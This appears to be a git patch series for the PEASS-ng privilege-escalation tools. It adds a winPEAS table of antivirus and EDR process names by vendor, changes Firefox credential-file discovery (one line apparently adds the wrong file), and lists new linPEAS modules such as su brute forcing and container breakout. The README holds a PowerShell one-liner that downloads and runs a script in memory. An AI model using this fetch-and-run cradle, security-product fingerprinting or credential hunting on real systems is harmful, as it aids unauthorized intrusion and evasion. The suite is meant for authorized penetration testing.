""}, - {"winmain.exe" , ""}, - {"winnet.exe" , ""}, - {"winppr32.exe" , ""}, - {"winrecon.exe" , ""}, - {"winservn.exe" , ""}, - {"winssk32.exe" , ""}, - {"winstart.exe" , ""}, - {"winstart001.exe" , ""}, - {"wintsk32.exe" , ""}, - {"winupdate.exe" , ""}, - {"wireshark.exe" , ""}, - {"wkufind.exe" , ""}, - {"wnad.exe" , ""}, - {"wnt.exe" , ""}, - {"wradmin.exe" , ""}, - {"wrctrl.exe" , ""}, - {"wsbgate.exe" , ""}, - {"wupdater.exe" , ""}, - {"wupdt.exe" , ""}, - {"wyvernworksfirewall.exe" , ""}, - {"xagt.exe" , ""}, - {"xpf202en.exe" , ""}, - {"zapro.exe" , ""}, - {"zapsetup3001.exe" , ""}, - {"zatutor.exe" , ""}, - /*{"zonalm2601" , ""}, These names (ending in .exe) are detected by AVs - {"zonealarm" , ""}, - {"_avp32" , ""}, - {"_avpcc" , ""}, - {"rshell" , ""}, - {"_avpms" , ""}*/ + { "ALYac", new HashSet() { "alyac.exe", "aylaunch.exe", "asmsetup.exe", } }, + { "AVG Antivirus", new HashSet() { "avgui.exe", } }, + { "AVG", new HashSet() { "avgemc.exe", "afwserv.exe", "avgsvc.exe", "aswidsagent.exe", } }, + { "Ad-Aware Total Security by Lavasoft", new HashSet() { "ffcachetool.exe", "avktray.exe", "gdsc.exe", "bootcdwizard.exe", "avkservice.exe", "ask.exe", "avkwctlx64.exe", "gdfwadmin.exe", "avktuner.exe", "initinst.exe", "gdfwsvc.exe", "avk.exe", "avkwscpe.exe", "avkwctl.exe", "avktunerservice.exe", "mkisofs.exe", "gdfirewalltray.exe", "initinstx64.exe", "gdgadgetinst32.exe", "gdfwsvcx64.exe", "aawtray.exe", } }, + { "AhnLab-V3", new HashSet() { "aup80if.ex", "v3ui.exe", "v3medic.exe", "v3lite.exe", "v3l4cli.exe", } }, + { "Antiy-AVL", new HashSet() { "avl.exe", } }, + { "Arcabit", new HashSet() { "arcavir.exe", "arcaconfsv.exe", "arcabit.core.loggingservice.exe", "arcabit.core.configurator2.exe", "arcabit.exe", } }, + { "Avast Antivirus", new HashSet() { "avastui.exe", } }, + { "Avast", new HashSet() { "avast-antivirus.exe", "avastsvc.exe", "ashserv.exe", } }, + { "Avira", new HashSet() { "avira.webapphost.exe", } }, + { "Baidu", new HashSet() { "bav.exe", "bavcloud.exe", "bavhm.exe", "bavsvc.exe", "bavtray.exe", "bavupdater.exe", "bavbsreport.exe", } }, + { "BitDefender", new HashSet() { "epprotectedservice.exe", "epsecurityservice.exe", "epupdateservice.exe", "epupdateserver.exe", "bdagent.exe", } }, + { "Bkav Pro", new HashSet() { "bkavutil.exe", "bkav.exe", "bkavpro.exe", "bkavservice.exe", } }, + { "CMC", new HashSet() { "cmcpanel.exe", "cmccore.exe", "cmctrayicon.exe", } }, + { "Cisco", new HashSet() { "sfc.exe", } }, + { "ClamAV", new HashSet() { "clamscan.exe", "freshclam.exe", } }, + { "Comodo", new HashSet() { "cavwp.exe", "cfp.exe", } }, + { "CrowdStrike Falcon", new HashSet() { "falconsensorwinos.exe", } }, + { "Cybereason", new HashSet() { "cybereasonransomfreeservicehost.exe", } }, + { "Cylance", new HashSet() { "cylancesvc.exe", } }, + { "Cynet", new HashSet() { "cynet.exe", "cexplore.exe", "cynet.zerologondetector.exe", } }, + { "Cyradar", new HashSet() { "cyradarexecutorservices.exe", "cyradaredr.exe", "cyradares.exe", } }, + { "DrWeb", new HashSet() { "dwscancl.exe", "drwebsettingprocess.exe", "dwsysinfo.exe", "drwupsrv.exe", "dwnetfilter.exe", "dwscanner.exe", "dwservice.exe", "frwl_notify.exe", "frwl_svc.exe", "spideragent.exe", "spideragent_adm.exe", } }, + { "ESET-NOD32", new HashSet() { "eraagent.exe", "shouldiremoveit.com", "ecmd.exe", "egui.exe", } }, + { "F-Secure", new HashSet() { "fsav32.exe", "fsdfwd.exe", "fsguiexe.exe", "fsav.exe", } }, + { "G Data AntiVirus", new HashSet() { "bootcdwizard.exe", "avkservice.exe", "avktray.exe", "gdgadgetinst32.exe", "ransomwareremovalhelper.exe", "gdlog.exe", "sec.exe", "avkwctlx64.exe", "updategui.exe", "avk.exe", "autorundelayloader.exe", "avkcmd.exe", "avkwscpe.exe", "iupdateavk.exe", } }, + { "GridinSoft Anti-Malware", new HashSet() { "uninst.exe", "gtkmgmtc.exe", "tkcon.exe", "unpacker.exe", } }, + { "IObit Malware Fighter 3", new HashSet() { "imfantivirususb.exe", "actioncenterdownloader.exe", "adsremovalsetup.exe", "feedback.exe", "iobituninstal.exe", "sendbugreport.exe", "imf_iobitdel.exe", "imfantivirustips.exe", "promote.exe", "imfupdater.exe", "imf_actioncenterdownloader.exe", "imfregister.exe", "reprocess.exe", "imfsrv_iobitdel.exe", "liveupdate.exe", "xmaspromote.exe", "spsetup.exe", "imf_downconfig.exe", "uninstallpromote.exe", "bluebirdinit.exe", "imftips.exe", "locallang.exe", "imfinstaller.exe", "aupdate.exe", "startmenu.exe", "iwsimfxp.exe", "ppuninstaller.exe", "taskschedule.exe", "fixplugin.exe", "imfantivirusfix.exe", "imfbigupgrade.exe", "imftips_iobitdel.exe", "imfsrv.exe", "iobitcommunities.exe", "autoupdate.exe", "unins000.exe", "homepage.exe", } }, + { "IObit Malware Fighter 6", new HashSet() { "iwsimf_av.exe", "imfantivirususb.exe", "feedback.exe", "sendbugreportnew.exe", "ransomware.exe", "imfantivirustips.exe", "imfdbupdatestat.exe", "imf_actioncenterdownloader.exe", "iwsimf.exe", "browserprotect.exe", "driverscan.exe", "imfregister.exe", "reprocess.exe", "liveupdate.exe", "christmas.exe", "bf.exe", "imf_downconfig.exe", "browsercleaner.exe", "antitracking.exe", "bluebirdinit.exe", "imftips.exe", "imfinstaller.exe", "locallang.exe", "carescan.exe", "imfsrvwsc.exe", "safebox.exe", "aupdate.exe", "iobitliveupdate.exe", "imfchecker.exe", "iwsimfxp.exe", "ppuninstaller.exe", "imfantivirusfix.exe", "imfbigupgrade.exe", "exclusivepsimf.exe", "imfanalyzer.exe", "bfimf.exe", "imfsrv.exe", "autoupdate.exe", "spinit.exe", "homepage.exe", "dugtrio.exe", } }, + { "IObit Security 360", new HashSet() { "is360tray.exe", "is360init.exe", "is360srv.exe", "e_privacysweeper.exe", "a_hijackscan.exe", "g_portable.exe", "d_powerfuldelete.exe", "b_securityholes.exe", "is360updater.exe", "unins000.exe", "f_pctuneup.exe", "imf_freesoftwaredownloader.exe", "c_passivedefense.exe", } }, + { "K7AntiVirus Plus by K7 Computing Pvt Ltd", new HashSet() { "healthmon.exe", "k7avqrnt.exe", "k7tliehistory.exe", "k7tlusbvaccine.exe", "k7tsalrt.exe", "k7tlwintemp.exe", "k7tlinettemp.exe", "k7tshlpr.exe", "k7disinfectorgui.exe", "k7tlvirtkey.exe", "k7tlmtry.exe", "k7fwsrvc.exe", "k7tsecurity.exe", "k7avmscn.exe", "k7ctscan.exe", "k7tsecurityuninstall.exe", "k7rtscan.exe", "k7avscan.exe", "k7crvsvc.exe", "k7tsdbg.exe", "k7emlpxy.exe", } }, + { "K7AntiVirus Premium by K7 Computing Pvt Ltd", new HashSet() { "k7quervarcleaningtool.exe", "k7ndfhlpr.exe", "healthmon.exe", "k7avqrnt.exe", "k7tliehistory.exe", "k7tlusbvaccine.exe", "k7tsstart.exe", "k7tsalrt.exe", "k7tlwintemp.exe", "k7mebezatencremovaltool.exe", "k7tlinettemp.exe", "k7tsmain.exe", "k7tshlpr.exe", "k7tssplh.exe", "k7disinfectorgui.exe", "k7tlvirtkey.exe", "k7tlmtry.exe", "k7fwsrvc.exe", "k7tsreminder.exe", "k7tsecurity.exe", "k7avmscn.exe", "k7ctscan.exe", "k7rtscan.exe", "k7tsnews.exe", "k7avscan.exe", "k7crvsvc.exe", "k7emlpxy.exe", "k7tsupdt.exe", } }, + { "Kaspersky Anti-Ransomware Tool for Business", new HashSet() { "anti_ransom_gui.exe", "dump_writer_agent.exe", "anti_ransom.exe", } }, + { "Kaspersky Anti-Virus 2011", new HashSet() { "kldw.exe", } }, + { "Kaspersky Anti-Virus 2013", new HashSet() { "ffcert.exe", } }, + { "Kaspersky Anti-Virus Personal", new HashSet() { "kavsend.exe", "kavsvc.exe", "getsysteminfo.exe", "uninstall.exe", } }, + { "Kaspersky Antivirus", new HashSet() { "avp.exe", } }, + { "Kaspersky", new HashSet() { "klnagent.exe", } }, + { "Malwarebytes", new HashSet() { "mbam.exe", "mbar.exe", "mbae.exe", } }, + { "McAfee All Access – AntiVirus Plus", new HashSet() { "compatibilitytester.exe", "mispreg.exe", "mcods.exe", "mcvsmap.exe", "mcocrollback.exe", "mpfalert.exe", "mcvulalert.exe", "mvsinst.exe", "mcupdmgr.exe", "mcpvtray.exe", "mcvuladmagnt.exe", "mcvulunpk.exe", "qcshm.exe", "mcoemmgr.exe", "qcconsol.exe", "mcuihost.exe", "mcvsshld.exe", "mcinstru.exe", "mcvulcon.exe", "mcsync.exe", "firesvc.exe", "qccons32.exe", "mcsvrcnt.exe", "mcvulusragnt.exe", "shrcl.exe", "mcodsscan.exe", "mcapexe.exe", "mcautoreg.exe", "mcinfo.exe", "mcvulctr.exe", "svcdrv.exe", } }, + { "McAfee AntiSpyware", new HashSet() { "msssrv.exe", "mcspy.exe", "msscli.exe", } }, + { "McAfee AntiVirus Plus", new HashSet() { "mispreg.exe", "mcvsmap.exe", "mcods.exe", "mcactinst.exe", "mcocrollback.exe", "mpfalert.exe", "mcinsupd.exe", "langsel.exe", "mvsinst.exe", "mcshell.exe", "mfehidin.exe", "mchlp32.exe", "mcupdmgr.exe", "saupd.exe", "uninstall.exe", "mcawfwk.exe", "qcshm.exe", "mcsacore.exe", "mcoemmgr.exe", "qcconsol.exe", "mcuihost.exe", "mcinstru.exe", "mcvsshld.exe", "mcoobeof.exe", "mcsync.exe", "firesvc.exe", "qccons32.exe", "saui.exe", "mcsvrcnt.exe", "shrcl.exe", "mcsmtfwk.exe", "mcautoreg.exe", "mcuninst.exe", "mcinfo.exe", "actutil.exe", } }, + { "McAfee Antivirus", new HashSet() { "mcafee.exe", } }, + { "NANO Antivirus beta by Nano Security Ltd", new HashSet() { "nanoreportc64.exe", "nanorst.exe", "uninstall.exe", "nanoreport.exe", "nanosvc.exe", "nanoav64.exe", "nanoreportc.exe", } }, + { "NANO-Antivirus", new HashSet() { "nanoav.exe", } }, + { "Norton Antivirus", new HashSet() { "nortonsecurity.exe", } }, + { "PCMatic", new HashSet() { "pcmaticpushcontroller.exe", "pcmaticrt.exe", } }, + { "Panda Security", new HashSet() { "psanhost.exe", } }, + { "Panda", new HashSet() { "avengine.exe", } }, + { "Quick Heal AntiVirus Pro", new HashSet() { "delnboot.exe", "0000007c_afupdfny.exe", "asmain.exe", "asclsrvc.exe", "acappaa.exe", "activate.exe", } }, + { "Quick Heal Total Security", new HashSet() { "delnboot.exe", "contact.exe", "activate.exe", "acappaa.exe", } }, + { "Sophos Anti-Rootkit 1.5.0", new HashSet() { "helper.exe", "svrtcli.exe", "sctcleanupservice.exe", "native.exe", "svrtservice.exe", "svrtgui.exe", "sarcli.exe", "sctboottasks.exe", } }, + { "Sophos Anti-Virus", new HashSet() { "sav32cli.exe", "savprogress.exe", "savservice.exe", "native.exe", "swi_di.exe", "backgroundscanclient.exe", "savmain.exe", "forceupdatealongsidesgn.exe", "swc_service.exe", "savproxy.exe", "savcleanupservice.exe", "savadminservice.exe", } }, + { "Symantec Endpoint Protection", new HashSet() { "ccsvchst.exe", } }, + { "Symantec", new HashSet() { "sepwscsvc64.exe", } }, + { "Total Defense Anti-Virus", new HashSet() { "caoscheck.exe", "ccprovsp.exe", "caschelp.exe", "caisstutorial.exe", "ccwatcher.exe", "cawsc.exe", "ccevtmgr.exe", "ccprovep.exe", "casc.exe", "cclogconfig.exe", "ccschedulersvc.exe", "cckasubmit.exe", "ccproxysrvc.exe", "caunst.exe", } }, + { "Trend micro", new HashSet() { "uiwinmgr.exe", "ntrtscan.exe", "tmntsrv.exe", "pccpfw.exe", } }, + { "VIPRE Advanced Security by ThreatTrack Security", new HashSet() { "sbamtray.exe", "sbamwsc.exe", "sbamcommandlinescanner.exe", "sbamcreaterestore.exe", "sbamsvc.exe", "avcproxy.exe", "sbbd.exe", } }, + { "VIPRE Antivirus by GFI Software", new HashSet() { "sbamtray.exe", "sbsetupdrivers.exe", "sbamsafemodeui.exe", "sbpimsvc.exe", "sbamwsc.exe", "sbrc.exe", "sfe.exe", "sbagentdiagnostictool.exe", "sbamcommandlinescanner.exe", "sbamsvc.exe", "sbamcreaterestore.exe", "sbamui.exe", } }, + { "ViRobot Anti-Ransomware by HAURI", new HashSet() { "vrbbdsvc.exe", "uninstall.exe", "vrbbdlogviewer.exe", "vrbbdbackup.exe", "vrpuller.exe", } }, + { "ViRobot Internet Security 2011 by HAURI", new HashSet() { "hvrpcuselock.exe", "hvrlogview.exe", "hvreasyrobot.exe", "hvrsetup.exe", "hvrfilewipe.exe", "hvrmalsvc.exe", "hvrtrafficviewer.exe", "hvrscan.exe", "hvrcontain.exe", "hvrquarantview.exe", "hvrtray.exe", } }, + { "Webroot", new HashSet() { "wrsa.exe", } }, + { "Windows defender", new HashSet() { "msmpeng.exe", "mpcmdrun.exe", "msascuil.exe", "windefend.exe", "msascui.exe", "msmpsvc.exe", } }, + { "Zillya Internet Security by ALLIT Service", new HashSet() { "drvcmd.exe", "ziscore.exe", "keyboard.exe", "systemresearchtool.exe", "zis.exe", "zisnet.exe", "conscan.exe", "zisupdater.exe", "zisaux.exe", "ziships.exe", } }, + { "Zillya! Antivirus by ALLIT Service", new HashSet() { "wscmgr.exe", "drvcmd.exe", "zillya.exe", "zavaux.exe", "reporter.exe", "autoruntool.exe", "taskmanagertool.exe", } }, + { "Zillya! Internet Security by ALLIT Service", new HashSet() { "restoretool.exe", "drvcmd.exe", "wscmgr.exe", "zefcore.exe", "zefsvc.exe", "fwdisabler.exe", "zefaux.exe", "backuphostfile.exe", "conscanner.exe", "reporter.exe", "autoruntool.exe", "zef.exe", "taskmanagertool.exe", } }, + { "ZoneAlarm Anti-Ransomware by Check Point Software", new HashSet() { "zup.exe", "consrvhost.exe", "zaarupdateservice.exe", "zaar.exe", "sbacipollasrvhost.exe", "uninst.exe", } }, + { "ZoneAlarm Antivirus by Check Point, Inc", new HashSet() { "threatemulation.exe", "multiscan.exe", "restoreutility.exe", "vsmon.exe", "zatray.exe", "multifix.exe", } }, + { "ZoneAlarm by Check Point, Inc", new HashSet() { "instmtdr.exe", "zatutor.exe", "cpes_clean.exe", "multiscan.exe", "zauninst.exe", "zlclient.exe", "multifix.exe", } } }; + // reverse lookup list + public static Dictionary> AVVendorsByProcess = new Dictionary>(); + + static DefensiveProcesses() + { + // initialize the structure here + foreach (var kvp in Definitions) + { + var vendor = kvp.Key; + + foreach (var executable in kvp.Value) + { + var sanitizedExecutable = executable.Trim().ToLower(); + + if (!AVVendorsByProcess.ContainsKey(sanitizedExecutable)) + { + AVVendorsByProcess.Add(sanitizedExecutable, new HashSet() { vendor }); + } + else + { + AVVendorsByProcess[sanitizedExecutable].Add(vendor); + } + } + } + } } } diff --git a/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs b/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs index 275b762..fcf542f 100644 --- a/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs +++ b/winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs @@ -133,7 +133,7 @@ namespace winPEAS.Info.SystemInfo IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); string dnsDomain = properties.DomainName; - const string query = "SELECT HotFixID FROM Win32_QuickFixEngineering"; + const string query = "SELECT HotFixID,InstalledOn FROM Win32_QuickFixEngineering"; using (var search = new ManagementObjectSearcher(query)) { @@ -142,7 +142,7 @@ namespace winPEAS.Info.SystemInfo string hotfixes = ""; foreach (ManagementObject quickFix in collection) { - hotfixes += quickFix["HotFixID"].ToString() + ", "; + hotfixes += quickFix["HotFixID"] + " (" + quickFix["InstalledOn"] + "), "; } results.Add("Hostname", strHostName); diff --git a/winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs b/winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs index a067c87..31d6c61 100644 --- a/winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs +++ b/winPEAS/winPEASexe/winPEAS/KnownFileCreds/Browsers/Firefox/Firefox.cs @@ -120,7 +120,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox string firefoxCredentialFile4 = $"{directory}\\{"key4.db"}"; if (File.Exists(firefoxCredentialFile4)) { - results.Add(firefoxCredentialFile4); + results.Add(firefoxCredentialFile3); } } } diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj index c819feb..19a037c 100755 --- a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj +++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj @@ -118,6 +118,7 @@ + @@ -1002,6 +1003,7 @@ + @@ -1038,6 +1040,11 @@ + + + + + @@ -1058,7 +1065,7 @@ - + @@ -1068,6 +1075,10 @@ + + + + diff --git a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user index 0ca5182..faa7a28 100755 --- a/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user +++ b/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user @@ -5,7 +5,7 @@ - fileanalysis debug + cloudinfo -network="auto" -ports="21,22,445" debug diff --git a/winPEAS/winPEASps1/README.md b/winPEAS/winPEASps1/README.md index 82f1232..ddf3fc8 100755 --- a/winPEAS/winPEASps1/README.md +++ b/winPEAS/winPEASps1/README.md @@ -17,10 +17,8 @@ Download the **[latest releas from here](https://github.com/peass-ng/PEASS-ng/re ```bash powershell "IEX(New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')" +``` ## Advisory All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission. - - -By Polop From 0ed01d58d30b0538fa0e385f9c0577e12c99a505 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 27 Aug 2024 23:56:21 +0200 Subject: [PATCH 40/69] Big linpeas update --- linPEAS/README.md | 105 +- linPEAS/builder/README.md | 78 ++ linPEAS/builder/linpeas_builder.py | 46 +- .../10_api_keys_regex/regexes.sh | 20 + .../linpeas_parts/1_system_information.sh | 243 ---- .../1_system_information/10_Enviroment.sh | 19 + .../1_system_information/11_Dmesg.sh | 21 + .../12_Macos_os_checks.sh | 31 + .../13_Linux_exploit_suggester.sh | 22 + .../14_Linux_exploit_suggester_2.sh | 22 + .../1_system_information/15_Protections.sh | 115 ++ .../1_Operative_system.sh | 22 + .../1_system_information/2_Sudo_version.sh | 22 + .../1_system_information/3_USBCreator.sh | 33 + .../1_system_information/4_Path.sh | 25 + .../1_system_information/5_Date.sh | 19 + .../1_system_information/6_CPU_info.sh | 20 + .../1_system_information/7_Mounts.sh | 21 + .../1_system_information/8_Disks.sh | 27 + .../1_system_information/9_Disks_extra.sh | 27 + linPEAS/builder/linpeas_parts/2_container.sh | 418 ------ .../2_container/1_Container_tools.sh | 22 + .../2_container/2_List_mounted_tokens.sh | 32 + .../2_container/3_Container_details.sh | 40 + .../2_container/4_Docker_container_details.sh | 37 + .../2_container/5_Container_breakout.sh | 134 ++ .../2_container/6_Am_I_contained.sh | 20 + linPEAS/builder/linpeas_parts/3_cloud.sh | 739 ----------- .../linpeas_parts/3_cloud/10_IBM_Cloud.sh | 52 + .../linpeas_parts/3_cloud/11_Ali_Cloud.sh | 98 ++ .../linpeas_parts/3_cloud/12_Tencent_Cloud.sh | 88 ++ .../3_cloud/1_Check_if_in_cloud.sh | 30 + .../linpeas_parts/3_cloud/2_AWS_EC2.sh | 79 ++ .../linpeas_parts/3_cloud/3_AWS_ECS.sh | 48 + .../linpeas_parts/3_cloud/4_AWS_Lambda.sh | 27 + .../linpeas_parts/3_cloud/5_AWS_Codebuild.sh | 40 + .../3_cloud/6_Google_cloud_function.sh | 57 + .../3_cloud/6_Google_cloud_vm.sh | 111 ++ .../linpeas_parts/3_cloud/7_Azure_VM.sh | 52 + .../3_cloud/8_Azure_app_service.sh | 47 + .../linpeas_parts/3_cloud/9_DO_Droplet.sh | 42 + .../4_procs_crons_timers_srvcs_sockets.sh | 380 ------ .../10_System_timers.sh | 21 + .../11_Timer_files.sh | 33 + .../12_Services.sh | 23 + .../13_Service_files.sh | 42 + .../14_Socket_files.sh | 38 + .../15_Unix_sockets_listening.sh | 72 + .../16_DBus_service_objects_list.sh | 33 + .../17_DBus_config_files.sh | 40 + .../1_List_processes.sh | 46 + .../2_Process_cred_in_memory.sh | 26 + .../3_Process_binaries_perms.sh | 29 + .../4_Processes_PPID_different_user.sh | 36 + .../5_Files_open_process_other_user.sh | 23 + .../6_Different_procs_1min.sh | 30 + .../7_Systemd_path.sh | 22 + .../8_Cron_jobs.sh | 33 + .../9_Macos_launch_agents_daemons.sh | 55 + .../linpeas_parts/5_network_information.sh | 192 --- .../10_Macos_hardware_ports.sh | 40 + .../11_Internet_access.sh | 24 + .../1_Network_interfaces.sh | 19 + .../2_Hostname_hosts_dns.sh | 19 + .../3_Network_neighbours.sh | 25 + .../5_network_information/4_Open_ports.sh | 19 + .../5_Macos_network_capabilities.sh | 20 + .../6_Macos_network_services.sh | 46 + .../5_network_information/7_Tcpdump.sh | 23 + .../5_network_information/8_Iptables.sh | 20 + .../5_network_information/9_Inetdconf.sh | 20 + .../linpeas_parts/6_users_information.sh | 232 ---- .../6_users_information/10_Pkexec.sh | 19 + .../6_users_information/11_Superusers.sh | 18 + .../12_Users_with_console.sh | 44 + .../6_users_information/13_Users_groups.sh | 22 + .../6_users_information/14_Login_now.sh | 18 + .../6_users_information/15_Last_logons.sh | 18 + .../6_users_information/16_Login_info.sh | 29 + .../6_users_information/17_Password_policy.sh | 32 + .../6_users_information/18_Brute_su.sh | 31 + .../1_Macos_my_user_hooks.sh | 20 + .../6_users_information/1_My_user.sh | 19 + .../6_users_information/2_Macos_user_hooks.sh | 22 + .../6_users_information/3_Macos_keychains.sh | 21 + .../6_users_information/4_Macos_systemkey.sh | 24 + .../6_users_information/5_Pgp_keys.sh | 22 + .../6_Clipboard_highlighted_text.sh | 29 + .../6_users_information/7_Sudo_l.sh | 32 + .../6_users_information/8_Sudo_tokens.sh | 43 + .../6_users_information/9_Doas.sh | 24 + .../linpeas_parts/7_software_information.sh | 688 ---------- .../1_Useful_software.sh | 20 + .../7_software_information/2_Compilers.sh | 32 + .../3_Macos_writable_installed_apps.sh | 29 + .../7_software_information/Apache_nginx.sh | 16 + .../7_software_information/Awsvault.sh | 20 + .../Cached_AD_hashes.sh | 21 + .../7_software_information/Containerd.sh | 27 + .../7_software_information/Docker.sh | 26 + .../7_software_information/Dovecot.sh | 31 + .../7_software_information/Extra_software.sh | 16 + .../7_software_information/FreeIPA.sh | 16 + .../7_software_information/Gitlab.sh | 46 + .../7_software_information/Kcpassword.sh | 24 + .../7_software_information/Kerberos.sh | 71 + .../7_software_information/Leaks_git_repo.sh | 30 + .../7_software_information/Log4shell.sh | 22 + .../7_software_information/Logstash.sh | 28 + .../7_software_information/Mysql.sh | 105 ++ .../7_software_information/PGP_GPG.sh | 16 + .../7_software_information/PHP_Sessions.sh | 16 + .../7_software_information/Pamd.sh | 21 + .../7_software_information/Postgresql.sh | 40 + .../7_software_information/Runc.sh | 26 + .../7_software_information/SKey.sh | 28 + .../7_software_information/Screen_sessions.sh | 29 + .../7_software_information/Splunk.sh | 27 + .../7_software_information/Ssh.sh | 110 ++ .../7_software_information/Tmux.sh | 29 + .../7_software_information/Vault_ssh.sh | 24 + .../7_software_information/YubiKey.sh | 26 + .../8_interesting_perms_files.sh | 491 ------- .../10_Read_creds_files.sh | 68 + .../11_Root_files_home_dir.sh | 20 + .../12_Others_files_in_my_dirs.sh | 20 + ...3_Root_readable_files_notworld_readeble.sh | 20 + .../14_Writable_files_owner_all.sh | 30 + .../15_Writable_files_group.sh | 34 + .../8_interesting_perms_files/1_SUID.sh | 99 ++ .../8_interesting_perms_files/2_SGID.sh | 93 ++ .../8_interesting_perms_files/3_Files_ACLs.sh | 27 + .../4_Capabilities.sh | 78 ++ .../5_Users_with_capabilities.sh | 24 + .../6_Misconfigured_ldso.sh | 78 ++ .../7_Files_etc_profile_d.sh | 25 + .../8_Files_etc_init_d.sh | 30 + .../9_App_armour_profiles.sh | 22 + .../linpeas_parts/9_interesting_files.sh | 315 ----- .../9_interesting_files/10_Others_homes.sh | 20 + .../9_interesting_files/11_Mail_apps.sh | 20 + .../9_interesting_files/12_Mails.sh | 20 + .../9_interesting_files/13_Backup_folders.sh | 25 + .../9_interesting_files/14_Backup_files.sh | 23 + .../9_interesting_files/15_Db_files.sh | 78 ++ .../16_Macos_downloaded_files.sh | 19 + .../9_interesting_files/17_Web_files.sh | 23 + .../9_interesting_files/18_Hidden_files.sh | 18 + .../19_Readable_files_tmp_backups.sh | 21 + .../9_interesting_files/1_Sh_files_in_PATH.sh | 40 + .../20_Passwords_history_cmd.sh | 20 + .../21_Passwords_history_files.sh | 20 + .../22_Passwords_php_files.sh | 20 + .../23_Passwords_files_home.sh | 20 + .../9_interesting_files/24_Passwords_TTY.sh | 21 + .../9_interesting_files/25_IPs_logs.sh | 21 + .../26_Mails_addr_inside_logs.sh | 20 + .../27_Passwords_in_logs.sh | 20 + .../28_Files_with_passwords.sh | 43 + .../9_interesting_files/2_Date_in_firmware.sh | 21 + .../3_Executable_files_by_user.sh | 23 + .../4_Macos_unsigned_apps.sh | 19 + .../5_Unexpected_in_opt.sh | 21 + .../6_Unexpected_in_root.sh | 24 + .../7_Modified_last_5mins.sh | 18 + .../8_Writable_log_files.sh | 33 + .../9_interesting_files/9_My_home.sh | 20 + .../functions/checkContainerExploits.sh | 24 + .../functions/checkCreateReleaseAgent.sh | 25 + .../functions/checkDockerRootless.sh | 21 + .../functions/checkDockerVersionExploits.sh | 38 + .../functions/checkProcSysBreakouts.sh | 78 ++ .../functions/check_aliyun_ecs.sh | 22 + .../functions/check_aws_codebuild.sh | 22 + .../linpeas_parts/functions/check_aws_ec2.sh | 34 + .../linpeas_parts/functions/check_aws_ecs.sh | 35 + .../functions/check_aws_lambda.sh | 22 + .../linpeas_parts/functions/check_az_app.sh | 22 + .../linpeas_parts/functions/check_az_vm.sh | 25 + .../functions/check_critial_root_path.sh | 21 + .../linpeas_parts/functions/check_dns.sh | 18 + .../linpeas_parts/functions/check_do.sh | 21 + .../linpeas_parts/functions/check_gcp.sh | 27 + .../linpeas_parts/functions/check_ibm_vm.sh | 25 + .../linpeas_parts/functions/check_icmp.sh | 18 + .../functions/check_if_su_brute.sh | 22 + .../linpeas_parts/functions/check_tcp_443.sh | 18 + .../linpeas_parts/functions/check_tcp_80.sh | 18 + .../functions/check_tencent_cvm.sh | 22 + .../linpeas_parts/functions/containerCheck.sh | 71 + .../linpeas_parts/functions/echo_no.sh | 18 + .../linpeas_parts/functions/echo_not_found.sh | 18 + .../functions/enumerateDockerSockets.sh | 50 + .../linpeas_parts/functions/execBin.sh | 31 + .../linpeas_parts/functions/exec_with_jq.sh | 25 + .../functions/get_current_user_privot_pid.sh | 38 + .../linpeas_parts/functions/inDockerGroup.sh | 21 + .../linpeas_parts/functions/macosNotSigned.sh | 22 + .../linpeas_parts/functions/print_info.sh | 18 + .../linpeas_parts/functions/print_list.sh | 18 + .../linpeas_parts/functions/print_ps.sh | 24 + .../search_for_regex.sh} | 22 +- .../functions/su_brute_user_num.sh | 30 + .../linpeas_parts/functions/su_try_pwd.sh | 23 + .../linpeas_parts/functions/warn_exec.sh | 18 + linPEAS/builder/linpeas_parts/linpeas_base.sh | 1159 ----------------- .../linpeas_base/0_variables_base.sh | 511 ++++++++ .../linpeas_base/1_check_network_jobs.sh | 316 +++++ .../linpeas_base/2_caching_finds.sh | 46 + .../linpeas_parts/variables/GCP_BAD_SCOPES.sh | 16 + .../variables/GCP_GOOD_SCOPES.sh | 16 + .../variables/GREP_DOCKER_SOCK_INFOS.sh | 16 + .../GREP_DOCKER_SOCK_INFOS_IGNORE.sh | 16 + .../variables/GREP_IGNORE_MOUNTS.sh | 16 + .../builder/linpeas_parts/variables/Groups.sh | 16 + .../variables/INT_HIDDEN_FILES.sh | 16 + .../builder/linpeas_parts/variables/LDD.sh | 16 + .../builder/linpeas_parts/variables/MyUID.sh | 16 + .../variables/NGINX_KNOWN_MODULES.sh | 16 + .../linpeas_parts/variables/NOUSEPS.sh | 18 + .../linpeas_parts/variables/PASSTRY.sh | 16 + .../builder/linpeas_parts/variables/PATH.sh | 26 + .../linpeas_parts/variables/READELF.sh | 16 + .../builder/linpeas_parts/variables/STRACE.sh | 16 + .../linpeas_parts/variables/STRINGS.sh | 16 + .../linpeas_parts/variables/TIMEOUT.sh | 16 + .../variables/TIP_DOCKER_ROOTLESS.sh | 16 + .../variables/USEFUL_SOFTWARE.sh | 16 + .../builder/linpeas_parts/variables/baduid.sh | 24 + .../builder/linpeas_parts/variables/capsB.sh | 16 + .../builder/linpeas_parts/variables/capsVB.sh | 24 + .../builder/linpeas_parts/variables/cfuncs.sh | 16 + .../variables/commonrootdirsG.sh | 16 + 